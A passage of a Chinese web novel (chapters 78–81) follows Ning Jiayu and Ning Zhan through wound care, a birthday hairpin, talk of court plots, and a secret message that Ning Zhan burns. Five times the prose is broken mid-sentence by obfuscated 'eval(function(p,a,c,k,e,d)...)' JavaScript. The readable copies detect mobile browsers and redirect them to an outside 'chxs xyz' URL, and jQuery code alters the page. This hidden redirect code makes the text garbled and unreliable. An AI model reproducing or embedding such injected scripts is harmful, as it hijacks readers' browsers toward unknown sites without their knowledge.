他快步折回茶几前，总算看清宁佳与异常苦涩的情态，不解道：“......与？小与？” “嗯？”宁佳与迟钝仰头，“什么？” “你没有听我——” 话一出口，宁展心道就多余问，宁佳与有哪点像听他说话的样子？于是他俯身为宁佳与从头讲起。 “我说，不麻烦。就是他们一个个忙得没影，我在呢。你想要哪种汤，我照样能煮。” “嗤。”宁佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见宁展半信不信起手寻伤处，她高声喝道：“元公子做什么？偌大暗桩，找不出草棉和纱布了？偏学三岁小孩蘸血玩儿？亏你是掌阁，左右还常年伴着杏林大家出身的心腹，平素就这样教手下处理伤处？” 宁展顿觉哑然，不敢怠慢，老老实实取茶几暗格中的药箱，向宁佳与证明自己备了不少草棉、纱布云云物件。 几番思虑，他只好借口道：“以宁无心学医理，我自然没有耳濡目染的——” “哦？”宁佳与替宁展处理着伤，头不抬，面子更不给，质问道：“那你怎晓得针刺在周连亲信的上星穴了？” 宁展没想到宁佳与还记着他伙同驿站掌柜做戏诓人的事。 他从前不会喊“疼”和“救命”，却在草棉擦过额角时“嘶”地抽气。最初或是出于本能，可他捕获宁佳与眼底闪过的刹那内疚，意外参悟了哭闹的孩子有糖吃是什么道理。 算宁佳与说对了一半罢。 他不是三岁小孩，但小孩爱吃的糖，他也爱吃。 78. 欢喜 “擦破皮我都觉着难受，你被磕到肿的伤，岂不是更疼？” 宁展小题大做地叹，然则对上宁佳与的眼神就不住心虚。 “......我只草草看过墨郎中叮嘱以宁温习的医书，记得的不多。你方才，为何一声不吭？” 宁佳与知道这是指她受伤的时候，但宁展似乎仍以为她被文籍砸中了头，若无其事道：“落车前不留神碰到的，与你无关。” “落车前？”宁展回忆着，“若是那时，我怎会没——” “总之，多谢元公子及时出手。”宁佳与打断道，“否则，我没准儿也要见血。” “何必言谢？我不是承诺过会尽力保护你么。”宁展接过瓷瓶，“换我给你上药。” “我心中感激，自然要谢。若因为非必要便藏着话不说，旁人如何知晓你的心意？” 宁佳与稍稍仰颈，未觉自己早就不排斥宁展的热忱了。任药膏点在她额前，不忘借宁展夸她的场面话赢回一筹。 “也不是谁都能像我那般，对元公子的心思一猜两个准，嘶......” “怎么了？”宁展闻声手颤，双臂僵在空中，“很疼吗？” “不疼，”宁佳与粲然，“就是有点儿凉。但我没算错，时至今日，药量应当过半了才对。为何还剩这许多？” 即使宁展从知晓方子那日开始停药，左不过十天上下。如此前按时用药，实不该余下大半瓶的量。 “这药，我擦得不勤。从前庶务繁忙，受伤常是以宁催着我上药。你，”宁展道，“别多想。” 擦得不勤，瓷瓶却被随身收在怀里。她其实没道理误解宁展是出于心存猜忌才不用药。 “那元公子又是如何知晓我的生辰？莫非师父......” 提及生辰，宁佳与不禁抬手去寻两粒圆润的珠饰。 “等等，簪子不见了！你送我的簪子！” 眼见宁佳与拔腿就要冲进文籍堆乱刨一通，宁展忙将她拉回座位，从袖袋中取出那支添了两道划痕的竹簪，道：“簪子在这儿，我点灯时找回来了。可......我改日做一支新的送你，好吗？” 文籍砸落之际，宁展失手碰掉了竹簪。他的确是趁点灯收入袖袋，一直藏到眼下才肯拿出来，即是注意到这竹簪已不够完美了。 “不好！送人礼物，哪有要回去的道理。” 宁佳与极少回绝得如此坚定。 她抢回竹簪，看着自己细细抚过的竹纹、雕花及那对嵌银赤珠究竟是何等精巧，以至于可以彻底忽视簪杆新添的瑕疵。 “这是你亲手做的？” 宁展站在茶几边上，愁肠百结。 他既认为那两道划痕不堪为宁佳与佩戴，又不宜当真同寿星抢贺礼，仿佛曾经夺走银骨扇的无赖与他是毫无相干的两个人。 “是我做的。我从李主事那里问到你的生辰，就剩两天时间学手艺了。步溪的匠师都说......”宁展试图争取重制竹簪的机会，“能做得更好。” “我又不是步溪——的匠师，我喜欢的。何况，我原不庆生辰了，今日承大伙的情，过得很开心。这场喜宴于我，更像家常饭。而这份礼，当作是给我吃饭吃得香的奖励罢。可否劳烦元公子。” 宁佳与把簪子交到宁展手中，指了指颅顶单调的束发。 “为在下授奖？” 宁展唇齿翕张，终颔首应了。 然女子之物，是由于他看宁馨自小长大，方在挑选衣饰、纹案方面略有心得，则实在不会替女子簪发，故握簪杆的手甚至比捏着草棉上药时还抖些。 宁展小心翼翼，扶竹簪穿过青丝。过程十分顺利，他松手看向宁佳与的眼神依旧紧张。 “多谢公子。”宁佳与喜笑盈腮。 宁展亦然解颜，笔立负手：“一岁一礼，愿卿欢喜。” 夜色四合，银辉淌过澄空，无尽柔光朝着这方庭院悠游，于青枝绿叶间稍作辗转，荡起几缕清凉，抵达边岸。 宁展支开窗扉，将软风与月华一并放入藏书阁，拂拭两人肩头的纤尘，落在堆垒遍地的笔墨。 “我们，换个屋子说话？”宁展望向立柜脚下的文籍，“顺带叫人来收拾一下。” “你确定这院子，”宁佳与探视窗外，“还有我们俩之外的活人么？” 毕竟藏书阁内先后经过打牙犯嘴、柜倒书塌、高声喧哗以及......真情流露？无论发生何事，四下皆是这般无人问津，她难以想象暗桩中还能有谁。 “不多，自是有的。你瞧那红伞，”宁展指着内敞的正门，“伞在，代表我在。值守的人不见我拿开红伞，他们不会轻举妄动。当然，除了伞，那儿可以是任何物件。” 进入藏书阁后，宁佳与近乎没有半刻松懈，致使现下才得闲想这木门居然从开始便未阖上过。 “这、这——”宁佳与瞪大了眼，瞧瞧宁展，复瞧瞧大开大敞的门窗，倾身伏上茶几，低声责怪：“要是院里的人没歇下，那我‘教训’你的话，岂不让他们听了个全？何不拦着我些！” 宁展不解宁佳与因何气急，好笑道：“小与所言句句属实，并无不妥，他们尽数听去又何妨。” “——你？！” 宁佳与愈发疑惑，把声音一降再降。 “我当着他们的面斥你，你这青竹掌阁剩多少威望可言？日后如何驭下？就是亲自栽培的部下，都未必永远听命于主公。” 宁展一怔。 他原只知宁佳与在两方间选择了他这一方，不料宁佳与频频站在青竹阁的立场为他逐件推敲起大事小事。 观她热忱的较真儿样，愁绪交织涌上宁展心头。 让宁佳与留在步千弈身边做听雪阁收来的零活杂事，委实大材小用。真正等到人走近他这天，等到宁佳与同他剖玄析微、斟酌损益的此刻，他突然有些悔了。 - 宁佳与暴露步溪人氏的身份时，纵宁展断定宁佳与居心不良，虑及敬令规划，且视步溪多年来还算本分，兼之那瓶奇药的恩情，心想放这女子一马。日后井水不犯河水，他就当二人从未见过。 岂料宁佳与孤身一人追着他和以宁到了景安。 至此，他才下令命青竹阁彻查宁佳与及其身边人，更是正告宁佳与南行并非儿戏。 “你想好了，真要与本君同行？” 不过脑的瞎话，宁佳与一贯是张口就能来：“想好了。” “你亲手杀过人吗？杀过几个？”宁展心烦道，“我养不起慈悲为怀的圣人。” 宁佳与掰起手指，数道：“一、二、五......七个！” 听得她自以为十分了得，宁展直欲给这难缠的狐仙大人跪倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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否则，暗阁就没了留存的必要。留存，也不会是以与伤天害理无异的形式。 假使三大暗阁所为是这般值得传颂的义举善事，何须饰作大隐隐于市的清流掩人耳目，又不约而同取个虚无缥缈的雅号防患未然？ 凭宁佳与的身手，宁展不明白听雪阁待她如待等闲。 宁佳与却不觉那些安排不妥，因为踉跄前行的日子里，她逐渐感受到师父用心良苦。决计独当一面之前，她想走好师父铺的平安小道。 “您也以为这两个匪首很过分，对罢？”宁佳与接住宁展诧异的目光，追问道。 话至此，宁展拿出对付朝中笑面夜叉的功夫，早识破宁佳与为着掩饰故作天真的伎俩了。 可惜，宁展专注于衡量她是否够格随行，以及她有几分可信。宁佳与高就高在这回交代的事句句属实，完全对得上青竹密报，使得宁展在疑云中越走越瞎。 宁展没搭理无谓的话茬，直白道：“你既能取匪首性命且全身而退，面对城郊五个手无兵甲的小卒却要受伤？” “公子那时扮同僚在外边儿替掌阁盯着我......民女惶恐不成么？” 宁展笑微微看宁佳与，没戳穿这苦肉计，心说当初的直觉果然不错。此女乐意在人前展露的所有，乃一鳞半爪而已。 79. 主从 纵观两个月的相处，及宁佳与堪堪见过楚珂一面，便待于她其实干系甚浅的斗杀案百般尽心，宁展以为，她心里到底住着个无法彻底狠下心的小姑娘。 今邀宁佳与同行，随他看遍太平遮掩的暗面——他不就是杀死那小姑娘的帮凶吗？ 小姑娘走入青竹阁与他侃侃相谈，宁展终于可以窥见步千弈任听雪阁长年埋没宁佳与的缘故。 他的确后悔，尤其要命的是，这后悔没有任何作用。 宁展深知，小姑娘曾对听雪阁的一切奉令承教，却绝非至今才看清个中古怪。宁佳与也不是受够了碌碌无为的日子奋起反抗，更不会只因他三言两语动摇。 选择这个关头离开听雪阁、离开步溪，她是为自己，为不被当今世道所容的大胆设想。 她貌似早有打算，许是寻芳楼前刻意留那宦官一命的时候，抑或亲手为宁展包扎、上药的某个瞬间。 可能更早。 早在她瞒着李施、白歌、步千弈，孤身去往嘉宁的路上。 开弓没有回头箭，宁佳与看准了靶心，非命中不可。 “......公子？” 宁佳与抬手一挥，挥散了千愁万绪。 宁展嗅到果香回神，认真答复她对主从之间的顾虑：“旁的我无法笃定，但主公费心栽培的隐士，确切来说是死士，大多情况下是会永远听命于主公的。倘有意叛变，一则是主公枉为人主，待部下远不如待猪狗；二则，是那部下的主公，本就另有其人。” “可枉为人主的主公，”宁佳与纳闷道，“能情愿费心栽培部下吗？” “能，且不在少数。”宁展提壶添上两杯白水，将其中一杯与宁佳与面前的对换，“前后顺序掉转来看，便不难理解了。” “掉转顺序？” 宁佳与想起，宁展在景安就谈过顺序的影响。 “意思是，主公先前费心栽培部下，而后才枉为人主，最终导致部下叛变？” 宁展算是知道，昔年韩将军为何朝对答如流的他笑个不停了。时下他看宁佳与，何尝没有春风得意之喜？ 而宁佳与常在宁展跟前自捧，宁展今日爽快称赞，她反倒沉吟不语了。 宁展静待，不多时，宁佳与望向他推想：“迎柳阁于寻芳楼设伏的刺客，可说尽听了宦官一介外人号令。人数颇多，若是叛变，不至于百名背后皆另有其主，还个个躲得过迎柳阁耳目。那是否表示，他们的主公待部下远不如猪狗？” 宁展忍俊不禁。 “不错，迎柳阁掌权那位与用人那位，都算不得什么好主。不过，”他稍稍敛了笑意，“那群刺客大抵不是叛变。宦官从头到尾仅是发号施令，全程未同其余人共进退。小与应瞧得出来，这两方不同的势力，盯上的目标亦然不同。” 纵彼时琢磨不透，事后整合回顾，宁佳与就是傻子也知道迎柳阁的目标只有以墨。那隐匿行迹静候时机的宦官，刺杀对象却少不了她。 “迎柳阁没有背叛主公，无甚交情的两方势力碰在一起如此和谐，想是通力合作、各取所需了？这般说，宦官得迎柳阁相助，易容的假皮细致非常便解释得通了。那他们的合作......” 宁佳与顺手握住杯盏，凝视水中倒映的朦胧夜。 “恐怕从周连放出宦官这步棋时，就开始了。” 宁展眸中一凛。 他想过迎柳阁内部或有人与步溪私下勾结，宁佳与点破此事，他不由往更深的地方思忖......究竟是迎柳阁底下的小喽啰起了歪心思谋私利，还是整个墨川王室与步溪王室朋比为奸？ “临走前，我看过宦官的假面两眼。近看实不比元公子那张做得逼真，胜在内侍多是低头哈腰的，糊弄宫中不明所以之人绰绰有余。” 宁佳与未随宁展深入迷局，方向愈发清晰。 “这样的水准，迎柳阁内人人做得罢？周连，会无知到为要一张普通的假皮，向墨川王室亮明步溪的暗棋和谋划？” 如是步溪已暴露野心，继续与墨川扮无害花草相当愚蠢。 故比起拐弯抹角借各王室之力揭穿宁佳与身份，步长微合该趁势把她送到墨司齐手上以示忠心不二才对。 若不然，墨川君主何其狭隘，待抗敌战功赫奕的韩氏尚且出于忌惮夷其三族，怎可能放着野心昭彰却无意臣服的步溪不管？ 步溪现在照旧隐藏锋芒，颁一道略显得罪墨川的新令也要取“嘉宁人以死明志”为由，且仍准备凭阴谋除掉宁佳与，证明周连这步棋——当说步长微这步棋、前番迎柳阁与宦官的合作，墨川王室定被蒙在鼓里。 宁展掌阁久矣，置身漩涡务必时刻保持快刀斩麻的心境。然做主公的日子，终究没有做与人夙夜周旋的嘉宁大殿下年月长。 阴谋诡计见惯了，从前胆敢独自穿过众目睽睽破法场的少年郎固然初心如旧，却不得不束缚手脚，万事先以最坏的结局作打算。 踏错一步，那腹可容象的镬鼎便生吞所有真心待他之人。 始作俑者，则会将脚下碾碎的骨灰，连同琉璃砖瓦筑入金碧辉煌的庙堂， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931780|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与天下把酒，歌颂千秋太平。末了，拎一身碎在泥里的羽衣告诉少年郎。 他等的明月，不再照常升起。 眼下简单明了的事，宁展殚精竭思，思绪调转到宁帝在位时。几经蹉跎，不及宁佳与顺藤摸瓜捋得明白。 宁展自嘲般摇头，道：“幸好。” 幸好，有宁佳与及时助他脱离迷局。幸好，宁佳与迈入新程，他们也没有走散。 “——嗯？” 宁佳与咕噜噜咽下白水，脉络须臾涌现，令她无暇听宁展解释就要接着说。 “我们离开寻芳楼不久，你命人请的衙役便到了。宦官中针昏厥，醒，不会醒得那般利索。是以我原想看谁来出手捞他一把或灭他的口，由此确认此事属哪方手笔，谁知衙役压根没寻到‘尸首’。” 宁佳与握松了杯的手。 “他是被人带走的。” “若计划失败，步长微要灭口，着人就地斩杀即可，带走‘尸首’保不齐遇上什么。当时血遍长街，能迅速辨明并带走他的人，势必与其往来甚密。大抵，”宁展冷静道，“是与他勾结的迎柳隐士了。” “元公子觉得，那位有能力带走宦官的，和临街刺杀墨川兵部侍郎的，”宁佳与两眼隐隐放光，“是不是一个人？” “多半错不了。好在景兄疯是疯了点儿，关键时刻拿得准轻重，端的没把步州令摆到明面上。素日为他解那些个疑难杂事，”宁展会心开颜，调侃道：“也算没白费口舌。” 并非谁都知道足以撼动整片疆土的信物是块令牌，遑论亲眼见过真正的敬令长什么模样。即使巧取豪夺，得有判别的本事。 “步州令？”宁佳与诧异，“步长微竟肯拱手相送？景公子又是何时将步州令交与你？” “嘉宁助步溪推行新律，步州令为我所有。这是步千弈同我达成的交易。兴许也是步长微的意思。”宁展如实道，忽而话音一顿，“景兄把敬令和契书塞给我便下了车，你没注意，莫非还想着步千弈一走了之的事吗。” 从早到晚经历大起大落、再起再落，宁佳与仅是抽空歇歇气罢了。这会儿她倒是好奇，宁展和步千弈哪天背着其余几人达成了交易。 宁佳与没回过劲，恍惚道：“不是，元公子误会了——” 元公子却意不在向她讨一个解释，毕竟宁佳与是否在想步千弈，本就无须同他解释。 “前两日，手下人与我说，看到步千弈在王宫偏门处......”宁展道，“剜人，周连则被几个侍卫压跪在地旁观。” 80. 剜刑 “如此，今日我才忧心他想对你不利。”宁展巴巴儿瞧着宁佳与，言语尽显真诚，神情更是恳切。俨如宁佳与道不信，他下一刻便掉出两滴泪来。 “剜、剜人？” 剜这个动作意味着什么，宁佳与逐渐惊悟。她心里发紧，似脚下猛然踏空，终与枯底的井撞得两败俱伤。 她不清楚步溪王后和步溪二殿下的结局，步千弈也鲜少提及。直至十四岁浴血归来的少年将帅与她诉苦，她仍是懵懂宽慰着。 后来，宁佳与依稀了然，步千弈许是恶狼掌中唯一未灭的气息。 可恶狼不甘让自己留于世间的血脉只是活着，日复一日地挑衅他、激怒他，累累攻入他防线薄弱的危城，孕育丧尽天良的鬼胎，告诉他——狼，生来就要咬人，肉撕得血流成渠，才叫出息。 “那人由内侍抬到偏门，身上多处溃烂，颈部的致命伤尤甚，貌似咽气有几日了。确切说，步千弈剜的是具尸体。” 宁展收起私心，严谨措辞，恐转达有误影响了宁佳与判断。 “依青竹阁呈报，步千弈不用刀或铲，提着把极锋利的剑。白公子手拿剑鞘，候在边上。若我没想错，那剑，当是白公子的东西。” 自她下山，白歌即像凭空消失了一般。宁佳与不免暗叹，那小心眼的，定是视她作叛出师门和听雪的无耻之徒，不认她这师妹了。 宁展之所以强调步千弈未持刀、铲，首先，两样皆是剜刑中常见的工具；其次，据青竹阁汇集的零讯，兼宁展与其匆匆十几面观之，俱可见步千弈是个不喜挂刀佩剑的人。 故步千弈执掌听雪阁后，除去白歌，其余人的防身物亦无刀剑，则为各式各样的暗器、机关。 步千弈此次破天荒提着白歌的剑，对业已不知痛痒者行剜刑，无论切开哪点分析，都不合情理。与其说他在处罚尸首，不如说他是要折磨跪地旁观的周连。 “元公子可知，那遗体，”宁佳与屏息道，“是何人？” “模样是辨不出了，看周连反应，那人与他交情不浅。虽未与周连正面打过几次交道，他得以稳立三朝的手段我略有耳闻。手段倒也简单，泰山崩于前而面不改色，换言之，能忍。面朝百官，是手握大权、深得上心的北司内侍监，亦任步千弈当众羞辱再三，既不讨饶，更无怨言。但这一回。” 宁展指节抵着下巴，垂眼凝睇几案。 “步千弈并不动他。他本可以照旧恭默守静，却为着给那人说情，把头磕得染红了半块儿一臂宽的砖。” 宁佳与愕然，比起步千弈会对亡者行剜刑，她更惊疑于那位令一生从容的大内总管磕破脑袋之人该是何等重要？ “周连......”答案呼之欲出，宁佳与竟不免局促，“他向世子殿下说了什么吗？” 宁展摇头，简明道：“周连一直在重复‘求世子殿下留阿狗全尸’。” 周连不是从未对步千弈弯腰，正相反，他时常自认不配直视世子殿下尊容，眼底尽是那双数次踩过他脊骨的流云青靴。 步溪臣民世代盼望一方众生平等的天地，而步溪君王，终究要做统领天地众生的主。若他有幸亲眼见证世子殿下实现旧主遗愿，便是被踩断脊梁骨，又算得了什么？ 然周连此番屈膝，并非请罪领罚。 求，是在认输，向青出于蓝的狼王认输，向他多年来的忠诚认输。 听着宁展无甚波澜的叙述，宁佳与却放佛看到了那央告的字眼一遍遍扑往步千弈，又无一例外遭步千弈手中的利刃剜下血砖。 她后知后觉，原来步千弈当年的话，不止少时意气而已。 - “雨妹妹，总有一天，我会让那自以为忠义无比的渣滓意识到错。我要他彻底认输，得不到任何人宽恕。他不配。” - 看宁佳与纠结，宁展接起话茬：“小与认得此人？” “认得。”宁佳与木讷颔首，又即刻否定：“说认得，其实牵强。相较他本人，我只是更熟悉他的名字。” “阿狗？”宁展皱了皱眉，“这名字......是指他兽身本体为犬类？” “非猪狗之‘狗’，是临危不苟之‘苟’。此人，元公子见过，就是周连亲信，那位蛰伏景安的宦官。世——”宁佳与道，“嗯，阿苟这名，是周连给他取的。” 世子殿下说，顿在宁佳与嘴边，不知该以何种态度托出。 她知道步千弈骨子里有仇必报的性情，因为步千弈几乎不对她刻意掩藏什么。 腼腆、执拗、英勇。 愉悦、无助、愤恨。 那都是宁佳与眼中走过的步千弈，她似乎识得步千弈的全部。旁人闻所未闻的眼泪，亦于不久之前真真切切在她跟前砸落。 步千弈直面她的每一瞬微笑和独一次的落泪，无不真心。步千弈也许会做的事，宁佳与本不必意外，更无须害怕，体内难以遏制的求生欲望却越发频繁提醒着，她理应恐惧，且敬而远之。 “是他？无怪步千弈勒令周连旁观了。不过......”宁展轻声嘀咕，“按步千弈的作风，要以此报复周连，不会待到人没气儿了动手。人活着，极刑的痛才能发挥到极致。” 若阿苟一息尚存，落至他身上的痛不难想象，或是惊天泣地惨叫，或是血汗满身晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938268|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厥。落至周连身上的痛，就彻底没法预见了。 如宁展所言，步千弈没道理为周连减刑。他不在阿苟死前动手，只有一个可能。 步千弈见到阿苟时，人已然是具尸体。 宁佳与习惯性去摸袖袋。 她不确定自己此刻想找什么，但开心时、难过时，皆往里探，万一还放着几粒含桃呢？ 甜的好，碎的也好，怎样都是含桃。 “嗯。我们没看走眼，步长微斩草除根的动作果然快，怕是连——” “世子殿下”依然哽在喉中，这回却不为别的，权因宁佳与忘了自己系着臂缚，哪里寻得到含桃？ 她怅然捏着臂缚，宁展忐忑道：“连什么？” “没什么。我以为今日穿的是广袖，”宁佳与付诸一笑，好歹松快了，“想把密报还与公子。” 说罢，她从腰带里层取出纸条，原封不动交给宁展。 “密报？” 青竹阁半天就有上百条称作密报的信件收发，宁展一时未解宁佳与所指具体是何物。 他双手接下，发现这叠起来拇指大小的纸条被压得极为紧实。许是封存久了，展开后，折痕险些把纸上挤的小字悉数吞掉。幸而宁展将将读了开头，便知所谓密报实为何物。 正是他在地牢囚室抛向宁佳与的纸条。 内容，他早就烂熟于心。 如今想来，那火折子撇开给景以承带去的少许慰藉，简直丁点用处也无。如非熟悉捻住密报的触感，宁展无从笃定这纸张源自青竹阁。 没瞟几眼，他就着手边灯烛把整张纸条处理了。 火光燎起，宁展不忘顺口夸道：“小与将密报保管得完好无损，在下的信任值了。” 宁佳与愣愣看随身携带十余天的纸条化作灰烬，还是以如此草率的方式，宁展胡诌的赞许自显得没那么引人注目了。 “你——就烧了？”她瞪着宁展，质问道：“这压根不是什么要紧的密报罢！” “当然是。”宁展低头掸去衣染的灰，“事涉三州，很关键。” “元公子不愧为‘人中龙虎’，敢拿关键消息赌我一个立场。”宁佳与阴声怪气，“您就不怕一步错，步步错？” 宁佳与和宁展分道扬镳，青竹阁错失密报事小，消息落入听雪阁，七州一夜之间天翻地覆也未可知。 倘宁展所言非虚，步千弈阻拦卫子昀同宁展见面，及处事向来有分寸的步溪对大理寺动用私刑之举视若无睹，为的便是这价值不菲的纸条。 两人视线猝不及防交汇，宁展的语气温润裹着坚执。 “不怕。” 81. 界线 宁展常说些模棱两可的话，宁佳与难解其意的时候却不多。 “不怕”二字，她尚未思虑，即知宁展并非不担心密报泄露，而是不担心她会辜负信任。但她依旧不甚赞同，无关这份信任另有目的，只认为此举太过冒险。 “若这密报我谁也不给，就像元公子这样，”宁佳与着手点了点茶几边上的灰烬，“一把火烧了干净呢？” 宁展扫下余灰，无奈道：“小与连素不相识的楚珂都想救，如何忍心糟蹋青竹隐士得来不易的果实？” “想救楚姑娘，是我瞧她印堂阴黑。师父说，步溪人体质特殊，轻易不显病容。且寻常病症在步溪人身上待不过半年，因此步溪普遍长寿、体健。但记录治怪血病药方的书里，有另一种极罕见的情况。” 宁佳与左手扶壶身，右手拎提梁，为自己添白水。 “以步溪人血制此药，引血承咒者病容缠身、与日俱重，直至巫咒应验。楚姑娘就是那样，我才对她格外在意。” 在意这年仅十四的姑娘病况严重至此，宁佳与粗略一瞥便察觉她十分不对劲。 今春，宁佳与年近十八，制药之际也不由为承咒的代价心慌，又是什么人、什么事令昔日犹处髫龄的楚珂这般舍生忘死？ 宁佳与在意，亦然叹服。 “元公子宽心罢，凡发现密报于我不利，我自会销毁。” 宁佳与三指掂着杯盏，小臂抵上茶几，腕骨稍转，凉水倾摇。 “公子现下可以说了么？” 宁展凝视对面盏中任银辉模糊容颜的宁佳与，道：“说什么？” “你我是一条船上的同伴了，公子有必要处处防着我吗？说说看。” 宁佳与将陶盏抬至彼此目光中央，三分挑衅，七分邀请。 “你留的后手。” 信任与守护，对宁展而言实是不该混为一谈的两件事。 恰如，宁展庇护宁馨无忧无虑长大，却不相信小妹能够孤身应对惊涛骇浪，更不希望她活得辛苦，故从不将个中争权夺利的实情说与宁馨。 宁展要护宁佳与后半生平安，同样无法把关乎七州动荡的谋划寄托于他对宁佳与的信任。 完全信任宁佳与之前，何时当隐、何时当明，是他务必划明白的界。 “小与既未销毁纸条，愿意交还给我，想来早已读过了。若是读过，怎会不知所谓后手正是那些让人理不清的文字？你好奇那些颠三倒四的词句整合起来是何含义，可你不曾直言，我本应陪你装傻到底——” 宁展目光擦过杯沿，看向听得饶有兴致的宁佳与。 “我是不是，猜太快了？” 宁佳与忽觉额角那处红肿隐隐抽痛，开门见山道：“那纸上写的究竟是什么呢。” “写的是，李主事原名李施，乃是琛惠年间的李太保。”说罢，宁展伸手欲接宁佳与托于茶几上方的杯盏。 宁佳与猝然撤回半臂距离，眼见宁展动作僵在空中，她偏头笑问：“就这样？” 宁展缓慢收回手，不置可否，只道：“谓予不信，有如皦日[1]。” 宁佳与不懂，宁展动辄对天起誓的毛病哪里生的？ 杯盏移至唇边，她不经意瞟到那只耷拉宁展腰间的桃粉茄袋，笑意藏在杯中。宁佳与饮尽凉水，平心定气。 仔细算算，相较宁展未知的事，她不吃亏。 “元公子还没告诉我，经在下此番一训，堂堂掌阁要如何找回颜面？”宁佳与戏谑道。 宁展不以为意，翘望窗外恬静的庭院，像是说给候在这方天地的所有人听。 “过了今夜，全七州的青竹暗桩皆知，我身边多了位言谈举止之‘嚣张’堪比堂堂掌阁的姑娘，不是很好吗？日后混个面熟，隐士牌子都不用挂，你就是青竹阁独一位可以随意出入暗桩、行任何方便的主。” “......这很好？”宁佳与淡而不厌。 “即使不能称作很好，咱们的待遇摆在那儿，”宁展满脸认真，“月例直追嘉宁二品‘官爷’呢。” 宁佳与噤声。 “换我问了。”宁展端详宁佳与的脸，未见病容，直截道：“楚珂制药引起的病症，有没有化解的法子？” “据我所闻，没有。”宁佳与安放茶盏，“但师父有一剂驻颜益寿的方子，不知能否派上用场。” “那种巫术。”宁展慎重道，“真会折寿吗？” 宁佳与眼梢一挑，倾靠茶几，支起下巴。 转盼流光，好比信手下蛊的巫医，亦如打个响指便瞬间消失的狐仙。 她放轻了声，道：“我说不会，元公子相信？” 宁展身形稍顿，坚定道：“不信。” “那不就成了。”宁佳与兴致索然地摆手，动身走向立柜，自说自话收拾文籍，“等公子信的那天，再来问我罢。” 凭两人将东飞西跑的文籍复位颇费工夫，待直起腰，宁佳与累得贴地即眠，干脆各于暗桩闲置的厢房歇下。 宁佳与就着清水潦草擦脸，取了竹簪，和衣而卧。 然躺平没多会儿，夜雨般的微凉滴沥，她不禁腹诽青竹阁待遇果然没宁展唱的好听。 再朴素，至少寝屋不该漏顶罢？ 宁佳与不适地翻身，岂料抬手竟带起一股疏淡的脂粉味，未及撑开眼帘，长年累月养成的习性促使她反手攥住了近旁异样。 那是弱冠男子拳头大小，带着体温的手腕。 宁佳与整个人与耳畔惊呼同时跃起，待看清自己屈肘勒至榻前的女子，女子涨红脸吃力地拍打宁佳与小臂。 “你是何人。”宁佳与气力不减，仅空出半寸空隙让人呼吸，“谁派你来的？” 女子直咳不停，却没敢怠慢圈紧她脖颈的宁佳与，没顾上顺气，便磕磕巴巴道：“是、是外边那位......公子，雇我为您、为您梳洗......” “外边那位？只是梳洗，何必鬼鬼祟祟？我自己解决，”宁佳与警惕环顾门窗，视线落回眼前的女子，“不需要人伺候。” 宁佳与是个好脾气，与人吵嘴也鲜少真心动怒。时下或因困倦而郁闷，抑或是不满宁展将她看得如此娇气，言语透着些抵触。 大伙儿都是日晒雨淋过来的，宁展却特地花钱雇人替她梳洗，这不是存心讽刺她吃不得苦吗！ 论及梳洗，女子惧色淡了不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946194|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她侧首看宁佳与，认真道：“您确定......您要自己梳洗吗？” 宁佳与把人五官轮廓瞧个大概，心中有了数。 随年岁增长，步溪女子衰老的速度反而愈来愈慢。及芨前后，便是她们年龄最接近容貌的时段。 若平日碰见貌似芳龄二十的女子，须得往上添十至二十岁，即能大致估计真实岁数。遇上她师父那样驻颜了得者，则另当别论。 以她的年纪，理应唤不速之客一声“婶婶”。 宁佳与开始就探了这位毫无内力之人的脉，眼下松开禁锢，仍不明其底细，于是客气道：“有何不妥？请婶婶赐教。” 客人态度缓和，女子不拘着了，摸索点起榻前灯，取脚边提盒内备的铜镜，举到客人面前，恭敬道：“姑娘，您瞧。您敷了粉、染了唇的妆面，怎好洗得这样随意？” 镜中映出红一片、白一片的脸，宁佳与终于想起柳如殷今日帮她施的妆可不薄，和师父过去给她点的淡胭脂万不能比，非清水可以洗净。 “那......”宁佳与凑上问，“如何是好啊？” 女人努力保持敬畏姿态，说话却按捺不住亲和。 